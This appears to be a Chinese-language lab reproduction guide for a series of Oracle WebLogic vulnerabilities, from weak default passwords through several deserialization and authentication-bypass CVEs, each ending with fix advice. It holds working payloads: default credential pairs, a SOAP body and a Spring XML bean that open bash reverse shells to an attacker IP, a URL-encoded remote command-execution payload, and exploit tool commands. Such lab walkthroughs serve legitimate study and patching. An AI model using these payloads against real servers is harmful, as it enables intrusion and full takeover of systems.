Weblogic弱口令漏洞
漏洞描述
http://your-ip:7001/console 即可进入后台,由于管理员的疏忽,有可能会设置一些弱口令,攻击者可以通过常见的口令猜解进入后台,再通过后台getshell。
影响范围
全版本
复现环境
Vulhub中的weak_password环境
复现步骤
1、启动环境之后,访问后台地址http://your-ip:7001/console
2、常见的弱口令组合
system:password weblogic:weblogic admin:secruity joe:password mary:password system:sercurity wlcsystem: wlcsystem weblogic:Oracle@123
3、 本环境输入weblogic:Oracle@123即可登录后台
修复建议
建议加强密码强度
Weblogic任意文件上传CVE-2018-2894漏洞
漏洞描述
OracleFusion Middleware(Oracle融合中间件)是美国甲骨文(Oracle)公司的一套面向企业和云环境的业务创新平台。该平台提供了中间件、软件集合等功能。Oracle WebLogic Server是其中的一个适用于云环境和传统环境的应用服务器组件。 WebLogic管理端未授权的两个页面存在任意上传getshell漏洞,可直接获取权限。两个页面分别为/ws_utc/begin.do,/ws_utc/config.do
影响范围
10.3.6,12.1.3,12.2.1.2,12.2.1.3
复现环境
Vulfocus中的CVE-2018-2894环境
复现步骤
1、 进入未经授权的上传界面:http://your-ip/ws_utc/config.do
2、 将“通用”下的“当前工作目录”路径设置为:
/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css
设置该目录的目的:将目录设置为ws_utc应用的静态文件css目录,访问这个目录是无需权限的
3、 开始上传木马:点击安全
然后点击添加
这里我上传的是一个冰蝎的jsp木马,抓包,点击提交,为什么要抓包呢,因为包里面有一个时间戳,连接木马的时候要用上。
这个为时间戳,且已经上传成功
然后连接的路径为http://you-ip/ws_utc/css/config/keystore/[时间戳]_[文件名],打开冰蝎
修复建议
1.设置Config.do页面登录授权后访问;2.IPS等防御产品可以加入相应的特征;3.升级到官方最新版本
Weblogic-SSRF漏洞(CVE-2014-4210)漏洞
漏洞描述
SSRF(Server-Side Request Forgery),服务端请求伪造,是一种由攻击者构造形成由服务端发起请求的一个漏洞,一般情况下,SSRF攻击的目标是从外部网络无法访问的内部系统。
影响范围
10.0.2,10.3.6
复现环境
Vulhub中的ssrf环境
复现步骤
1、 启动vulnhub中的weblogic中的ssrf环境,如图
2、 访问漏洞存在地址
http://your-ip:7001/uddiexplorer/SearchPublicRegistries.jsp
3、 点击Search之后抓包
4、 对operator参数进行修改,观察现象探测结果
主机存活且端口存在,将返回404
不存在端口或ip地址
修复建议
1、如果业务不需要UDDI功能,就关闭这个功能。可以删除uddiexporer文件夹,可以可在/weblogicPath/server/lib/uddiexplorer.war解压后,注释掉上面的jsp再打包。
2.安装oracle的更新包。http://www.oracle.com/technetwork/topics/security/cpujul2014-1972956.html
XMLDecoder反序列化(CVE-2017-10271)漏洞
漏洞描述
Oracle Fusion Middleware(Oracle融合中间件)是美国甲骨文(Oracle)公司的一套面向企业和云环境的业务创新平台。该平台提供了中间件、软件集合等功能。Oracle WebLogic Server是其中的一个适用于云环境和传统环境的应用服务器组件。 Weblogic的WLS Security组件对外提供webservice服务,其中使用了XMLDecoder来解析用户传入的XML数据,在解析的过程中出现反序列化漏洞,导致可执行任意命令。攻击者发送精心构造的xml数据甚至能通过反弹shell拿到权限。
影响范围
10.3.6.0,12.1.3.0.0,12.2.1.1.0
复现环境
Vulfocus的CVE-2017-10271环境
复现步骤
漏洞地址为
/wls-wsat/CoordinatorPortType /wls-wsat/RegistrationPortTypeRPC /wls-wsat/ParticipantPortType /wls-wsat/RegistrationRequesterPortType /wls-wsat/CoordinatorPortType11 /wls-wsat/RegistrationPortTypeRPC11 /wls-wsat/ParticipantPortType11 /wls-wsat/RegistrationRequesterPortType11
1、 访问漏洞地址,如果存在如下则可能存在漏洞
2、 对该漏洞页面进行抓包,修改请求方式为POST和请求字段Content-Type:text/xml,然后后添加如下poc
<soapenv:Envelopexmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"><soapenv:Header> <work:WorkContextxmlns:work="http://bea.com/2004/06/soap/workarea/"> <javaversion="1.4.0" class="java.beans.XMLDecoder"> <voidclass="java.lang.ProcessBuilder"> <arrayclass="java.lang.String" length="3"> <voidindex="0"> <string>/bin/bash</string> </void> <voidindex="1"> <string>-c</string> </void> <voidindex="2"> <string>bash-i >& /dev/tcp/192.168.3.130/44440>&1</string> </void> </array> <voidmethod="start"/></void> </java> </work:WorkContext> </soapenv:Header> <soapenv:Body/> </soapenv:Envelope>
3、 然后可以发现我们vps监听到的4000端口已经接收到了shell
4、 当然我们还可以直接利用工具一键去getshell
修复建议
前往Oracle官网下载10月份所提供的安全补丁http://www.oracle.com/technetwork/security-advisory/cpuoct2017-3236626.html
升级过程可参考:http://blog.csdn.net/qqlifu/article/details/49423839
Weblogic未认证远程命令执行(CVE-2020-14882、CVE-2020-14883)漏洞
漏洞描述
在 Oracle 重要补丁更新 - 2020 年 10 月公告,Oracle 修复了长亭科技安全研究员 @Voidfyoo 提交的两个安全漏洞,CVE-2020-14882 和 CVE-2020-14883。CVE-2020-14882 允许远程用户绕过管理员控制台组件中的身份验证,而 CVE-2020-14883 允许经过身份验证的用户在管理员控制台组件上执行任何命令。使用这两个漏洞的连锁,未经身份验证的远程攻击者可以通过 HTTP 在 Oracle WebLogic 服务器上执行任意命令并完全控制主机。
影响版本
10.3.6.0,12.1.3.0,12.2.1.2,12.2.1.3
复现环境
Vulfocus上的CVE-2020-14882环境
复现步骤
1、启动环境来到http://vulfocus.fofa.so:63672/console/login/LoginForm.jsp发现需要登录密码进行登录
2、但是我们可以访问如下url来绕过验证进入到后台
http://vulfocus.fofa.so:63672/console/css/%252e%252e%252fconsole.portal
http://vulfocus.fofa.so:63672/console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=AppDeploymentsControlPage&handle=com.bea.console.handles.JMXHandle%28%22com.bea%3AName%3Dbase_domain%2CType%3DDomain%22%29
3、 由于是通过未授权页面进入的后台,和正常登录的后台页面还是缺少部署等功能,所以想要达到命令执行的效果,这里要借助特殊的类来实现。
4、 利用方法一利用com.tangosol.coherence.mvel2.sh.ShellSession
此方法只能在 Weblogic12.2.1 及以上版本利用,因为 10.3.6 并不存在 com.tangosol.coherence.mvel2.sh.ShellSession 类。
回显的payload
/console/css/%252e%252e%252fconsolejndi.portal?test_handle=com.tangosol.coherence.mvel2.sh.ShellSession(%27weblogic.work.ExecuteThread%20currentThread%20=%20(weblogic.work.ExecuteThread)Thread.currentThread();%20weblogic.work.WorkAdapter%20adapter%20=%20currentThread.getCurrentWork();%20java.lang.reflect.Field%20field%20=%20adapter.getClass().getDeclaredField(%22connectionHandler%22);field.setAccessible(true);Object%20obj%20=%20field.get(adapter);weblogic.servlet.internal.ServletRequestImpl%20req%20=%20(weblogic.servlet.internal.ServletRequestImpl)obj.getClass().getMethod(%22getServletRequest%22).invoke(obj);%20String%20cmd%20=%20req.getHeader(%22cmd%22);String[]%20cmds%20=%20System.getProperty(%22os.name%22).toLowerCase().contains(%22window%22)%20?%20new%20String[]{%22cmd.exe%22,%20%22/c%22,%20cmd}%20:%20new%20String[]{%22/bin/sh%22,%20%22-c%22,%20cmd};if(cmd%20!=%20null%20){%20String%20result%20=%20new%20java.util.Scanner(new%20java.lang.ProcessBuilder(cmds).start().getInputStream()).useDelimiter(%22\\A%22).next();%20weblogic.servlet.internal.ServletResponseImpl%20res%20=%20(weblogic.servlet.internal.ServletResponseImpl)req.getClass().getMethod(%22getResponse%22).invoke(req);res.getServletOutputStream().writeStream(new%20weblogic.xml.util.StringInputStream(result));res.getServletOutputStream().flush();}%20currentThread.interrupt();
5、 利用方法二利用com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext
首先,我们需要构造一个XML文件,并将其保存在Weblogic可以访问到的服务器上,这里是执行一个反弹shell的操作,如
<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd"> <bean id="pb" class="java.lang.ProcessBuilder" init-method="start"> <constructor-arg> <list> <value>/bin/bash</value> <value>-c</value> <value><![CDATA[bash -i >& /dev/tcp/ip/1234 0>&1]]></value> </list> </constructor-arg> </bean> </beans>
然后nc监听,然后执行一个get请求:
http://192.168.74.141:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://example.com /rce.xml")
修复建议
1、及时下载官方补丁进行升级修复。下载地址如下:https://www.oracle.com/security-alerts/cpuoct2020.html
2、关闭后台/console/console.portal的访问权限。
3、修改后台默认地址。
Java反序列化漏洞(CVE-2018-2628)漏洞
漏洞描述
Oracle WebLogic Server是美国甲骨文(Oracle)公司的一款适用于云环境和传统环境的应用服务器,它提供了一个现代轻型开发平台,支持应用从开发到生产的整个生命周期管理,并简化了应用的部署和管理。WLS Core是其中的一个核心组件。攻击者利用其他rmi绕过weblogic黑名单限制,然后在将加载的内容利用readObject解析,从而造成反序列化远程代码执行该漏洞,该漏洞主要由于T3服务触发,所有开放weblogic控制台7001端口,默认会开启T3服务,攻击者发送构造好的T3协议数据,就可以获取目标服务器的权限。
影响范围
10.3.6.0,12.1.3.0,12.2.1.2,12.2.1.3
复现环境
1、 Vulhub中的weblogic中的CVE-2018-2628环境 2、 ysoserial-cve-2018-2628,下载链接https://github.com/tdy218/ysoserial-cve-2018-2628/releases 3、 expolit.py脚本,下载链接https://www.exploit-db.com/exploits/44553
复现步骤
1、首先docker启动环境
2、在攻击机上使用ysoserial-cve-2018-2628工具,使用格式如下:
java -cp"ysoserial-0.1-cve-2018-2628-all.jar" ysoserial.exploit.JRMPListener[攻击机监听端口] jdk版本编号 "要执行的命令"
3、在攻击机上使用exploit.py,使用格式如下:
python2 exploit.py 靶机IP 端口(默认7001) ysoserial-0.1-cve-2018-2628-all.jar的位置 攻击机IP 攻击机监听端口 JRMPClient
4、 然后发现在靶机上发现命令执行成功
修复建议
1.及时更新补丁
2.禁用T3协议
3.禁止T3端口对外开放, 或者限制可访问T3端口的IP来源
WeblogicCVE-2020-2551漏洞
漏洞描述
OracleFusion Middleware(Oracle融合中间件)是美国甲骨文(Oracle)公司的一套面向企业和云环境的业务创新平台。该平台提供了中间件、软件集合等功能。WebLogic Server是其中的一个适用于云环境和传统环境的应用服务器组件。该漏洞原理上类似于RMI反序列化漏洞(CVE-2017-3241),和之前的T3协议所引发的一系列反序列化漏洞也很相似,都是由于调用远程对象的实现存在缺陷,导致序列化对象可以任意构造,并没有进行安全检查所导致的。
影响范围
WebLogic10.3.6.0.0,WebLogic 12.1.3.0.0,WebLogic 12.2.1.3.0,WebLogic 12.2.1.4.0
复现环境
Vulhub中的weblogic中的CVE-2017-10271
复现步骤
1、启动vulhub中的docker环境
2、下载复现脚本https://pan.baidu.com/s/1N9oW3PtJJpkGC-W-LkgW9A提取码:03vx
3、编译脚本里面的exp.java文件
javac exp.java -source 1.6 -target 1.6
4、启动一个http服务
python3 -m http.server 80
5、使用marshalsec起一个恶意的RMI服务
java -cpmarshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer"http://192.168.178.1/#exp" 7777
6、漏洞攻击,成功弹出calc
java -jar weblogic_CVE_2020_2551.jar192.168.178.128 7001 rmi://192.168.178.1:7777/exp
修复建议
weblogic禁用IIOP协议或更新官方补丁